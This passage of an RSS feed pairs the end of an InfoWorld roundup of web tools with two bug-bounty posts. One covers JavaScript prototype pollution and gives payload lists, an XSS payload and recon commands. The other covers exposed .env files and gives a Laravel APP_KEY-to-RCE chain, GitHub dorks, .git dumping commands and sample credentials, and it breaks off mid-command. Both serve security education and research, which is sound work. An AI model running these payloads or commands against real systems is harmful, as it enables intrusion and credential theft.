<p>Fast is probably an understatement. If you are used to <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node</a> and you try out Bun, you will likely be immediately impressed with the speed at which commands execute. The Bun team has also made an extensive, multi-year effort to bring its engine into close compatibility with Node’s APIs. Overall, Bun is an extraordinary engineering effort that every JS developer should explore. </p>



<p>However, while Bun’s <a href="https://www.infoworld.com/article/2338081/meet-the-zig-programming-language.html">Zig</a>-based engine is in most respects a drop-in for Node, it isn’t perfect, especially when considering the gargantuan landscape of Node packages out there. Node remains the conservative, happy-path engine for server-side JavaScript. </p>



<p>See also: <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html" data-type="link" data-id="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a>. Although Bun has justifiably earned a reputation for bleeding-edge innovation, Deno has quietly pressed ahead with an appealing set of enterprise features like an integrated deployment platform and a front-end framework (<a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>).</p>



<p>The Bun curious also may want to check out my interview with Bun creator <a href="https://www.infoworld.com/article/2338698/interview-with-jarred-sumner-buns-creator-talks-tech-funding-and-startups.html">Jared Sumner</a>.</p>



<h2 class="wp-block-heading">HTMX: Ajax KISS</h2>



<p>If we are talking about clever ways to de-complexify the web, <a href="https://www.infoworld.com/article/4150864/htmx-4-0-hypermedia-finds-a-new-gear.html">HTMX</a> could reasonably be considered the poster-child. It takes the core mechanisms of the modern web client, like <a href="https://developer.mozilla.org/en-US/docs/Glossary/AJAX" data-type="link" data-id="https://developer.mozilla.org/en-US/docs/Glossary/AJAX">Ajax</a> and partial updates, and turns them into simple HTML attributes. That means the state lives exclusively on the server, which is responsible for sending HTMX fragments.</p>



<p>Of course, there are trade-offs. Perhaps most unavoidable is the extreme dependence on the network. Because there is no client-side state machine, the browser will be orphaned and helpless without a connection to the server. That is, unless you <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html" data-type="link" data-id="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html">get experimental</a> with a <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">local-first datastore</a>.</p>



<p>Long story short: if your app falls into the realm of HTMX’s ability, HTMX is likely to be the most direct <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful</a> way to build it. And HTMX can in fact handle quite a lot.</p>



<p>See also: <a href="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html" data-type="link" data-id="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html">Hotwire</a>. A collection of tools for building single-page-style applications using HTML over the wire, Hotwire has great features like page morphing, which can diff HTML instead of cold-loading it, with a simple import. True to classic “free as in speech” software culture, the HTMX and Hotwire projects freely exchange ideas. </p>



<h2 class="wp-block-heading">PowerSync: Data layer redo</h2>



<p>Although the local-first data revolution that <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html">PowerSync</a> represents implies a fairly serious engineering deep dive, its core proposal — to entirely reshape the way data moves in web architecture — is something a web developer needs to be aware of.</p>



<p>Usually, we create architectures that require a complex middleware to broker between a reactive client and the datastore. PowerSync proposes a radical alternative: bypass the middleman entirely by dropping a robust SQLite Wasm database directly into the browser.</p>



<p>The UI works on local data using <a href="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html" data-type="link" data-id="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html">familiar SQL</a>, synchronously. Latency is zero. The dreaded loading spinner vanishes entirely. In the background, PowerSync automatically reconciles your local store with your central Postgres database. It handles the complex syncing algorithms and network drops, effectively making your application offline-first by default.</p>



<p>The catch, of course, is that local-first development forces a massive mental shift. You have to define data slices (similar to a view) that each client user holds. The PowerSync engine does most of the hard work, but things like schema migrations and conflict resolution (when two users edit the same record while offline) require a significantly steeper initial setup than a standard REST API.</p>



<p>See also: <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">RxDB</a>. RxDB is a slightly different flavor of local-first datastore. Whereas PowerSync relies heavily on Postgres, SQLite, and background daemons, RxDB provides a NoSQL, offline-first, reactive database that treats queries as observable streams, pushing UI updates the exact millisecond the local data changes. </p>



<h2 class="wp-block-heading">RooCode: Use any AI you want</h2>



<p>The beauty of <a href="https://www.infoworld.com/article/4019646/roo-code-review-a-first-look-at-autonomous-ai-powered-development-in-the-ide.html">RooCode</a> lies in its ability to orchestrate whatever AI providers you have—for free. RooCode is an extension to <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> that provides an AI manager layer. This layer bridges between the general abilities of the LLM and your code-specific, project-level structures.</p>



<p>RooCode is strong enough to be somewhat agentic in its capabilities. It doesn’t reach the powerhouse abilities of something like Cursor or Antigravity, but it is quite able to handle most small to medium-sized requests. And it does so with a minimum of unnecessary overhead. I find myself often using RooCode alongside my AI-assisted IDE to knock out lesser requirements, for less cost and without interrupting the flow of ongoing epics.</p>



<p>RooCode keeps you free of proprietary ecosystems. It allows you to plug in your own API keys—whether that is Claude, OpenAI, or even a local model running on your own hardware. </p>



<p>The hidden tax of any AI coding assistant, however, is that it fundamentally shifts your job description from “writer” to “editor.” The unbloating of keystrokes can paradoxically lead to massively bloated codebases if developers blindly accept AI-generated boilerplate without actively reviewing its architectural impact. It is incredibly easy to let an agent spin up 500 lines of complex React when 50 lines of plain JavaScript would have done.</p>



<p>See also: <a href="https://antigravity.google/" data-type="link" data-id="https://antigravity.google/">Antigravity</a>. RooCode is a lightweight extension that supercharges your existing environment. Google’s Antigravity is a custom-built editor designed from the ground up around AI, geared for agentic development workflows.</p>



<h2 class="wp-block-heading">TanStack Query: Syncing made simple(r)</h2>



<p>Even when client-side state management is addressed (see Zustand below), there is still a big, gaping hole in the plot: syncing across the server boundary. That is where <a href="https://tanstack.com/query/latest">TanStack Query</a> steps into the breach.</p>



<p>Distributed computing is a notoriously thorny problem, and in fact our standard reactive model walks right into these thorns by holding the same state in two different places: on the client and the server.  Tanstack Query tries to make this inherent architectural friction as painless as possible by acting as an intelligent asynchronous layer. </p>



<p>Instead of using a bunch of manual fetches tied to <code>useState</code> updates, along with fragile <code>isLoading</code> flags and complex state synchronization logic, TanStack Query abstracts the heavy lifting of API responses, background updates, and request deduplication into a few elegant hooks. You tell TanStack Query where to get the data, and it uses a pattern known as “stale-while-revalidate,” which means it will cache and reuse data on the front end (eliminating reload waits) and sync to the latest state in the background. </p>



<p>The catch, however, is that cache invalidation remains one of the hardest problems in computer science—and TanStack Query forces you to face it head-on. You will spend time thinking about “query keys” and deciding when a piece of data should be considered “stale.” No free lunches in software.</p>



<p>See also: <a href="https://swr.vercel.app/">SWR</a>. While TanStack Query is an absolute powerhouse for complex data manipulation, SWR remains a champion of API minimalism, doing exactly what its name implies (stale-while-revalidate) with almost zero configuration.</p>



<h2 class="wp-block-heading">Zustand: Minimalist state</h2>



<p>If you have yet to encounter the monstrosity of large-scale state management in a reactive app, then spoiler alert: it can be nasty. <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction">Zustand</a> proposes to dispense with the ceremonial boilerplate of reducers, providers, and unwieldy context wrappers in favor of a tiny, brutally simple global store.</p>



<p>Instead of forcing your entire application tree into a massive React context provider (sometimes leading to cascades of superfluous re-renders across the DOM), Zustand uses custom hooks to tie state directly to the specific components that need it. Zustand strives to achieve the specificity in the VDOM reactive model (instead of eliminating it entirely a la <a href="https://www.infoworld.com/article/4129648/reactive-state-management-with-javascript-signals.html">Signals</a>).</p>



<p>You define a store, you call it, and the reactivity just works. It is an expression of the KISS philosophy applied to front-end architecture, scraping away the intricacies of Flux-like patterns. The trade-off for this liberation is the burden of discipline. Because Zustand is unopinionated, it won’t stop you from turning your global store into a cluttered junk drawer. You’ll need to impose your own conventions and guardrails to keep a large-scale project manageable.</p>



<p>See also: <a href="https://jotai.org/" data-type="link" data-id="https://jotai.org/">Jotai</a>. If Zustand is the unbloated global store, Jotai is the unbloated atomic approach. Jotai manages state from the bottom up, calculating changes with surgical precision without triggering massive re-renders across the application tree.</p>



<h2 class="wp-block-heading">New directions in web development</h2>



<p>The most remarkable thing about these eight tools is that they deal in large part with alternative approaches that challenge the familiar. Although you may not be able to adopt them immediately, you will want to keep an eye on them. They are key factors that will continue to influence the shape of web applications and how we build them.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[JavaScript Prototype Pollution Deep Dive : — Reconnaissance, Exploitation & Bug Bounty Guideline]]></title>
<description><![CDATA[From Recon to RCE — A comprehensive deep-dive into one of JavaScript’s most misunderstood vulnerabilitiesJavaScript Prototype Pollution Deep DiveTable of ContentsWhat Is Prototype Pollution?The JavaScript Prototype Chain — Deep DiveAttack Vectors & Entry PointsReconnaissance MethodologyExploitati...]]></description>
<link>https://tsecurity.de/de/3580446/hacking/javascript-prototype-pollution-deep-dive-reconnaissance-exploitation-bug-bounty-guideline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580446/hacking/javascript-prototype-pollution-deep-dive-reconnaissance-exploitation-bug-bounty-guideline/</guid>
<pubDate>Mon, 08 Jun 2026 06:38:25 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>From Recon to RCE — A comprehensive deep-dive into one of JavaScript’s most misunderstood vulnerabilities</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fRBOm82WKY9ycNXTz9B4Tw.png"><figcaption>JavaScript Prototype Pollution Deep Dive</figcaption></figure><h3>Table of Contents</h3><ol><li>What Is Prototype Pollution?</li><li>The JavaScript Prototype Chain — Deep Dive</li><li>Attack Vectors &amp; Entry Points</li><li>Reconnaissance Methodology</li><li>Exploitation Techniques — From XSS to RCE</li><li>Real-World Bug Bounty Case Studies</li><li>Advanced Exploit Chains</li><li>Tooling &amp; Automation</li><li>Defense &amp; Remediation</li><li>Full Python Scanner — Production-Ready</li></ol><h3>1. What Is Prototype Pollution?</h3><p>Prototype Pollution is a vulnerability where an attacker injects properties into JavaScript’s Object.prototype. Because all objects inherit from Object.prototype, the injected property propagates to every object in the runtime — including window, document, process, and any object created thereafter.</p><h3>Why It Matters</h3><p>Unlike SQL injection or XSS, Prototype Pollution often serves as a primer — it doesn’t immediately give you RCE unless you chain it with another gadget. But when chained correctly, the impact ranges from XSS (browser) to Remote Code Execution (Node.js).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*eqg_UNnsK1QKOPlTFFG_qQ.png"><figcaption>Impact Level</figcaption></figure><h3>2. The JavaScript Prototype Chain — Deep Dive</h3><h4>How Inheritance Works</h4><pre>// Every object has a hidden [[Prototype]]<br>const user = { name: "Alice" };</pre><pre>// user ---&gt; Object.prototype ---&gt; null<br>//         ^[[Prototype]]^</pre><p>When you access user.toString(), JavaScript:</p><ol><li>Looks for toString on user itself → not found</li><li>Looks on user.__proto__ (which is Object.prototype) → found!</li><li>Executes it.</li></ol><h3>The Vulnerability Mechanism</h3><pre>// Normal operation<br>const target = {};<br>const source = JSON.parse('{"name": "Alice"}');<br>Object.assign(target, source);<br>// target = { name: "Alice" } — safe</pre><pre>// Polluted operation<br>const source = JSON.parse('{"__proto__": {"isAdmin": true}}');<br>Object.assign(target, source);<br>// target.__proto__.isAdmin = true<br>// ALL objects now have isAdmin: true</pre><h3>Why __proto__ Works as a Key</h3><p>JSON parsing does NOT treat __proto__ specially — it's just a string key. When Object.assign() copies properties, it sets target.__proto__ which mutates the actual prototype chain.</p><pre>// Visual representation<br>const obj = {};<br>obj.__proto__.polluted = true;<br>// Equivalent to:<br>Object.prototype.polluted = true;</pre><pre>console.log({}.polluted);  // true<br>console.log([].polluted);  // true<br>console.log("".polluted);  // true (string prototype chain)</pre><h3>The Three Mutation Methods</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*x3HA5gBQwhCAZHlDeZp32Q.png"><figcaption>Method/Vul/Lib</figcaption></figure><h3>3. Attack Vectors &amp; Entry Points</h3><h4>Server-Side Entry Points (Node.js)</h4><pre>POST /api/users<br>Content-Type: application/json</pre><pre>{"name": "test", "__proto__": {"isAdmin": true}}</pre><p><strong>Where to look:</strong></p><ul><li>JSON body parsing (Express body-parser, express.json())</li><li>Query string parsing (qs library, Express built-in)</li><li>Cookie parsing</li><li>File upload metadata</li><li>GraphQL variables</li><li>WebSocket messages</li></ul><h3>Client-Side Entry Points (Browser)</h3><pre>&lt;!-- URL fragment parsing --&gt;<br>https://target.com/#__proto__[polluted]=true</pre><pre>&lt;!-- PostMessage --&gt;<br>window.postMessage({__proto__: {evil: true}}, '*')</pre><pre>&lt;!-- localStorage / sessionStorage --&gt;<br>localStorage.getItem('config') // parsed with JSON.parse</pre><pre>&lt;!-- WebSocket --&gt;<br>ws.send(JSON.stringify({__proto__: {innerHTML: '&lt;img src=x onerror=alert(1)&gt;'}}))</pre><h3>Common Vulnerable Patterns</h3><h4>Pattern 1: Object.assign / Spread Operator</h4><pre>app.post('/api/update', (req, res) =&gt; {<br>  const user = getUser(req.session.userId);<br>  Object.assign(user, req.body);  // VULNERABLE<br>  user.save();<br>});</pre><h4>Pattern 2: _.merge / $.extend</h4><pre>const config = _.merge(defaultConfig, userConfig); // VULNERABLE if userConfig comes from input</pre><h4>Pattern 3: Deep Clone</h4><pre>const cloned = JSON.parse(JSON.stringify(userInput)); <br>// JSON.parse + JSON.stringify is SAFE — it strips __proto__<br>// BUT: if you then merge cloned into another object...</pre><h4>Pattern 4: URL Query Parsing</h4><pre>// Using qs library with allowPrototypes: false (default is true in older versions)<br>const parsed = qs.parse('a.__proto__.b=c'); <br>// Older qs: parsed = { a: { __proto__: { b: 'c' } } }</pre><h3>4. Reconnaissance Methodology</h3><h3>Phase 1: Identify Dependencies</h3><p>Modern web apps are built on frameworks. Find the soft targets.</p><pre># Client-side: Look for known vulnerable libraries<br>curl -s https://target.com/assets/app.js | grep -iEo \<br>  '(jquery|lodash|underscore|handlebars|vue|react|angular|backbone)[@-]?[0-9.]+'</pre><pre># Server-side: Check for Node.js indicators<br>curl -sI https://target.com | grep -i 'x-powered-by\|server\|node'</pre><p><strong>Version lookup table:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*sW15qtpZIk3rRmIovXQsxg.png"><figcaption>Vulnerable table</figcaption></figure><h3>Phase 2: Map All Input Points</h3><p>Build a comprehensive list of every location where user data is parsed into objects.</p><pre># Spider the application<br>gospider -s https://target.com -o spider_output</pre><pre># Extract endpoints from JavaScript<br>curl -s https://target.com/assets/app.js | \<br>  grep -oP 'POST|PUT|PATCH|GET.*(api|graphql|v1|v2|rest)' | \<br>  sort -u &gt; endpoints.txt</pre><h3>Phase 3: Brute-Force Pollute Vectors</h3><p>Target each endpoint with multiple payload variants.</p><pre>// Payload matrix — try ALL of these<br>{"__proto__":{"polluted":"yes"}}<br>{"__proto__":["polluted","yes"]}<br>{"__proto__":{"__proto__":{"polluted":"yes"}}}<br>{"constructor":{"prototype":{"polluted":"yes"}}}<br>{"a":{"__proto__":{"polluted":"yes"}}}<br>{"[__proto__]":{"polluted":"yes"}}<br>{"__proto__.polluted":"yes"}  // For query string parsersj</pre><h3>Phase 4: Detection Verification</h3><p>After sending the payload, verify if pollution took effect.</p><p>Server-side check:</p><pre># Send a probe payload that affects something observable<br>curl -s https://target.com/api/status | grep -i '"polluted":"yes"'<br># Or check if you get 200 instead of 403 on admin endpoints</pre><p>Client-side check (if you can execute JS):</p><pre>// Open console on the target page after triggering the pollution<br>Object.prototype.polluted === "yes"<br>// Or<br>({}).polluted === "yes"<br><br><br><br><br></pre><h3>⚠️ <strong>Content Notice</strong></h3><p>Due to community guidelines and responsible disclosure practices, I was unable to include the complete live exploit chain, weaponized payloads, and full proof-of-concept demonstrations in this article.</p><p>The concepts, impacts, and mitigation strategies are covered here for educational and defensive security purposes. Readers interested in the full technical research, complete exploit analysis, and detailed proof-of-concept examples can refer to the corresponding GitHub repository linked with this article.</p><p>This content is intended solely for security research, awareness, and defensive testing in authorized environments.</p><h4>Reed Full Blog: <a href="https://github.com/SecurityTalent/write-up">https://github.com/SecurityTalent/write-up</a></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8FEPTDOVMoyB-eds.png"></figure><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="https://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a><em> </em>| Facebook: <a href="https://www.facebook.com/Securi3ytalent/">Securi3ytalent</a> | Telegram: <a href="https://t.me/Securi3yTalent">Securi3yTalent</a></p><p>#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=25e0496ade04" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/javascript-prototype-pollution-deep-dive-reconnaissance-exploitation-bug-bounty-guideline-25e0496ade04">JavaScript Prototype Pollution Deep Dive : — Reconnaissance, Exploitation &amp; Bug Bounty Guideline</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Frontend Security & Bug Hunting: The .env File Crisis and Real-World Exploitation]]></title>
<description><![CDATA[The .env file is simultaneously one of the most convenient and most dangerous patterns in modern web development. The data is clear: over 12 million exposed files, 28 million credentials leaked on GitHub in 2025 alone, and 110,000 domains compromised in a single extortion campaign.For bug bounty ...]]></description>
<link>https://tsecurity.de/de/3571868/hacking/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571868/hacking/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation/</guid>
<pubDate>Thu, 04 Jun 2026 10:21:43 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The .env file is simultaneously one of the most convenient and most dangerous patterns in modern web development. The data is clear: over 12 million exposed files, 28 million credentials leaked on GitHub in 2025 alone, and 110,000 domains compromised in a single extortion campaign.</p><p>For bug bounty hunters, .env exposure remains one of the highest-impact, lowest-effort findings. The methodology is straightforward: subdomain enumeration, content discovery, GitHub dorking, and source map analysis. The payoff can be complete database access, cloud account takeover, or Remote Code Execution.</p><p>For developers and security teams, the solution requires a cultural shift: treat .env files as explosive devices, move secrets out of configuration files entirely, use short-lived credentials, block hidden files at the server level, and scan everything -- including AI-generated code -- before it reaches production.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TSS6p8MhJPdZtCHZZ0EC1g.png"><figcaption>Frontend Security &amp; Bug Hunting: The .env File Crisis and Real-World Exploitation</figcaption></figure><h3>Part I: The .env File Crisis — Why 12 Million Exposed Files Should Terrify You</h3><h4>The Anatomy of a .env File</h4><p>The .env file is the silent backbone of modern web application configuration. It stores environment variables in a simple KEY=VALUE format and is consumed by frameworks like Laravel, Django, Ruby on Rails, Symfony, and countless Node.js applications at startup. The problem is not the concept -- it is how these files are handled, deployed, and (mis)protected.</p><p>A typical .env file might contain:</p><pre>DB_HOST=production-db.internal.corp.com<br>DB_DATABASE=main_production<br>DB_USERNAME=root<br>DB_PASSWORD=Str0ng!Passw0rd<br>APP_KEY=base64:abcdef1234567890abcdef1234567890<br>AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE<br>AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY<br>STRIPE_SECRET=sk_live_4eC39HqLyjWDarjtT1zdp7dc<br>REDIS_HOST=127.0.0.1<br>REDIS_PASSWORD=secret<br>MAIL_USERNAME=admin@corp.com<br>MAIL_PASSWORD=smtp_password_here</pre><p>One file. One misconfiguration. Total compromise.</p><h3>The 2024 Unit 42 Campaign: Scale of the Problem</h3><p>In August 2024, Palo Alto Networks’ Unit 42 uncovered a massive cloud extortion campaign that directly exploited exposed .env files. The numbers are staggering:</p><ul><li>110,000 domains scanned for exposed .env files</li><li>90,000+ unique leaked environment variables harvested</li><li>7,000+ cloud service credentials (AWS, Azure, GCP, DigitalOcean)</li><li>1,500+ social media account credentials</li><li>1,185 unique AWS access keys</li><li>333 PayPal OAuth tokens</li><li>235 GitHub tokens</li><li>111 HubSpot API keys</li><li>39 Slack webhooks</li></ul><p>The attack chain was elegant and terrifying:</p><blockquote>Scan — Automated internet-wide scanning using malicious AWS Lambda functions, iterating over millions of domains with curl requests to http://&lt;target&gt;/.env</blockquote><blockquote>Harvest — Extract all environment variables from accessible .env files</blockquote><blockquote>Escalate — Use exposed IAM access keys to create new IAM roles with administrative permissions</blockquote><blockquote>Propagate — Deploy new Lambda functions to continue scanning from within the victim’s own cloud infrastructure</blockquote><blockquote>Exfiltrate — Steal data from S3 buckets and other cloud storage</blockquote><blockquote>Extort — Leave ransom notes threatening to sell the data on the dark web</blockquote><p><strong>Source:</strong> <a href="https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/">Unit 42 — Large-Scale Cloud Extortion Operation</a></p><h3>The 2026 Security Affairs Study: 12 Million Files</h3><p>Fast forward to February 2026: Security Affairs reported that researchers had identified over 12 million exposed .env files across the internet. The primary exposure vectors:</p><ol><li>Web server misconfiguration — No rule blocking hidden files (files starting with a dot). Simply visiting https://example.com/.env returns the entire file.</li><li>Reverse proxies forwarding sensitive paths — Nginx or Apache misconfigured to serve static files from the project root.</li><li>Container images embedding secrets — Dockerfiles using COPY . . which includes .env in the image layers.</li><li>Forgotten backup files — .env.bak, .env.old, .env.save, env.txt left in web-accessible directories.</li><li>Git repository exposure — The .env file committed to source control, then the repo made public or accessed via exposed .git directories.</li></ol><h3>Part II: Real-World Bug Hunting with .env Files</h3><h3>Case Study 1: Azure Subdomain .env Disclosure</h3><p>Source: Infosec Writeups / Bug Bounty Program</p><p>A bug bounty hunter was conducting reconnaissance on a target and discovered a subdomain that appeared to be running Laravel. Using ffuf for content discovery, they ran a wordlist against the subdomain:</p><pre>ffuf -u https://target-subdomain.azurewebsites.net/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt</pre><p>The scan returned a 200 OK for /.env -- but accessing it directly returned a 403 Forbidden. The hunter noticed something critical: the CNAME record pointed to *.azurewebsites.com, and while the main domain had restrictions, the underlying Azure-hosted subdomain did not.</p><p>By accessing the raw Azure endpoint URL, the .env file was fully readable, revealing:</p><pre>DB_CONNECTION=mysql<br>DB_HOST=internal-db.mysql.database.azure.com<br>DB_PORT=3306<br>DB_DATABASE=production_db<br>DB_USERNAME=admin<br>DB_PASSWORD=P@ssw0rd!<br>MAIL_HOST=smtp.sendgrid.net<br>MAIL_USERNAME=apikey<br>MAIL_PASSWORD=SG.xxxxxxxxxxxxxxxx</pre><p>Impact: Database credentials + SMTP API key for SendGrid. With these, the hunter could have dumped the entire production database and sent phishing emails as the legitimate domain.</p><h3>Case Study 2: Laravel APP_KEY to RCE Chain</h3><p>Source: Multiple researchers (Mogwai Labs, Ghostable, Stratosally)</p><p>This is one of the most dangerous exploitation chains in the Laravel ecosystem. The .env file contains APP_KEY, which is the cryptographic backbone of the entire Laravel application. It is used for encrypting cookies, session data, and serialized objects.</p><p>The vulnerability: Laravel’s Crypt::decrypt() function uses PHP's unserialize() under the hood. If an attacker has the APP_KEY, they can craft a malicious encrypted payload that, when decrypted, triggers PHP object injection leading to Remote Code Execution.</p><p>The exploitation chain:</p><ol><li>Discover the APP_KEY — Find it in an exposed .env file, or via GitHub dorking (filename:.env APP_KEY).</li><li>Use phpggc — The PHP Generic Gadget Chains tool (phpggc) generates gadget chains for Laravel.</li></ol><pre># Clone phpggc<br>git clone https://github.com/ambionics/phpggc<br>cd phpggc<br><br># Generate a Laravel RCE gadget chain<br>php phpggc Laravel/RCE1 system 'id' --base64</pre><p>3. Encrypt with the APP_KEY — The attacker encrypts the malicious payload using the stolen APP_KEY:</p><pre># Pseudocode for encrypting with the leaked APP_KEY<br>$payload = base64_decode('&lt;phpggc_output&gt;');<br>$key = base64_decode(substr('base64:abcdef1234567890abcdef1234567890', 7));<br>$iv = random_bytes(16);<br>$encrypted = openssl_encrypt($payload, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);<br>$final = base64_encode($iv . $encrypted);</pre><p>4. Deliver the payload — Send the encrypted value as a Laravel session cookie or any other decrypted input.</p><p>5. RCE — Laravel decrypts the payload, PHP unserializes it, and the attacker’s command executes.</p><p>Real-world impact: In 2025, researchers found hundreds of Laravel APP_KEY values leaked on GitHub. Tools like phpggc make weaponization trivial. The attacker does not need SQL injection or file upload -- just one exposed .env file.</p><h3>Case Study 3: GitHub Dorking for .env Files at Scale</h3><p>Source: Multiple bug bounty hunters</p><p>Advanced GitHub dorking is one of the most productive techniques for finding exposed .env files. The key operators:</p><pre># Find all .env files across all public repositories<br>filename:.env<br><br># Find .env files in a specific organization<br>org:targetcompany filename:.env<br><br># Find .env files containing specific sensitive keys<br>filename:.env "AWS_ACCESS_KEY_ID"<br>filename:.env "DB_PASSWORD"<br>filename:.env "STRIPE_SECRET"<br>filename:.env "APP_KEY"<br><br># Find .env files mentioning a specific domain<br>"target.com" filename:.env<br><br># Combined: target company .env with API keys<br>org:targetcompany filename:.env ("API_KEY" OR "SECRET" OR "PASSWORD")<br><br># Search for config files broadly<br>filename:.env "production" AND ("sk_live" OR "AKIA" OR "service_role")</pre><p>Pro tip from hunters: Combine with extension: and path: operators:</p><pre># Search specific paths<br>path:config filename:.env<br>path:laravel filename:.env<br><br># Search for backup variants<br>filename:.env.bak<br>filename:.env.old<br>filename:.env.local<br>filename:.env.production</pre><p>The Snyk 2025 State of Secrets Report revealed that 28 million credentials were leaked on GitHub in 2025 alone, with .env files being one of the top sources.</p><h3>Case Study 4: Exposed Source Maps Leading to Stripe Secret Keys</h3><p>Source: Sentry Security Blog / Prodefense.io</p><p>A bug bounty hunter discovered that a target website had accidentally deployed JavaScript source maps to production. Source maps (.map files) are used during development to map minified JavaScript back to original source code for debugging.</p><p>The attacker used Sourcemapper (a tool that reconstructs original source from .map files):</p><pre># Install sourcemapper<br>pip install sourcemapper<br><br># Download and reconstruct source from an exposed source map<br>sourcemapper -url https://target.com/assets/js/app.js.map -output ./reconstructed/</pre><p>Inside the reconstructed source code, the hunter found:</p><pre>// Original source code exposed<br>const stripe = require('stripe');<br>const stripeClient = new stripe('sk_live_4eC39HqLyjWDarjtT1zdp7dc');<br><br>// Internal API endpoints<br>const adminApi = 'https://internal-admin.target.com/api/v2/';<br>const deleteUserEndpoint = `${adminApi}users/delete/`;</pre><p>Impact: The Stripe live secret key (starting with sk_live_) allowed the attacker to make unauthorized charges, refunds, and access all customer payment data. The exposed admin API endpoints opened the door for further exploitation.</p><h3>Case Study 5: Exposed .git Directory — Full Source Code in Version Control History</h3><p><em>Source: PortSwigger Web Security Academy / NCSC Switzerland</em></p><p>A production server had its .git directory publicly accessible. The .git folder contains the complete version control history of the project, including every file that was ever committed -- even files that were later deleted or whose secrets were "removed" in subsequent commits.</p><pre># Recursively download the entire .git directory from the live server<br>wget -r https://target.com/.git/<br><br># Check the Git log for secrets that were "removed"<br>git log -p | grep -E 'password|secret|key|token|AKIA'</pre><p>The NCSC Switzerland audit found 1,300 affected systems in Switzerland alone where .git folders were publicly accessible, exposing source code, access data, and passwords.</p><p>Real bug bounty example: A hunter found that a target’s .git directory was browsable. Running git log --diff revealed a commit message: <em>"Remove admin password from config"</em>. The diff showed the previous version of the config file with the hardcoded admin password still in Git history:</p><pre>git show &lt;commit_hash&gt;<br># Output:<br># - ADMIN_PASSWORD=SuperSecretPass123!<br># + ADMIN_PASSWORD=${ADMIN_PASSWORD_ENV}</pre><p>The password was removed from the current file but remained forever in Git history. The hunter logged in as administrator and completely took over the application.</p><h3>Part III: Advanced Reconnaissance &amp; Hunting Methodology</h3><h3>Phase 1: Subdomain Enumeration</h3><p>Before you can find exposed files, you need to know where to look.</p><pre># Passive enumeration<br>subfinder -d target.com -o subdomains.txt<br>amass enum -passive -d target.com -o amass.txt<br>assetfinder --subs-only target.com &gt;&gt; subdomains.txt<br><br># Active enumeration<br>ffuf -u https://FUZZ.target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt<br><br># Certificate Transparency<br>curl -s "https://crt.sh/?q=%25.target.com&amp;output=json" | jq -r '.[].name_value' | sort -u<br><br># Combine and deduplicate<br>cat subdomains.txt | sort -u | httpx -silent -o 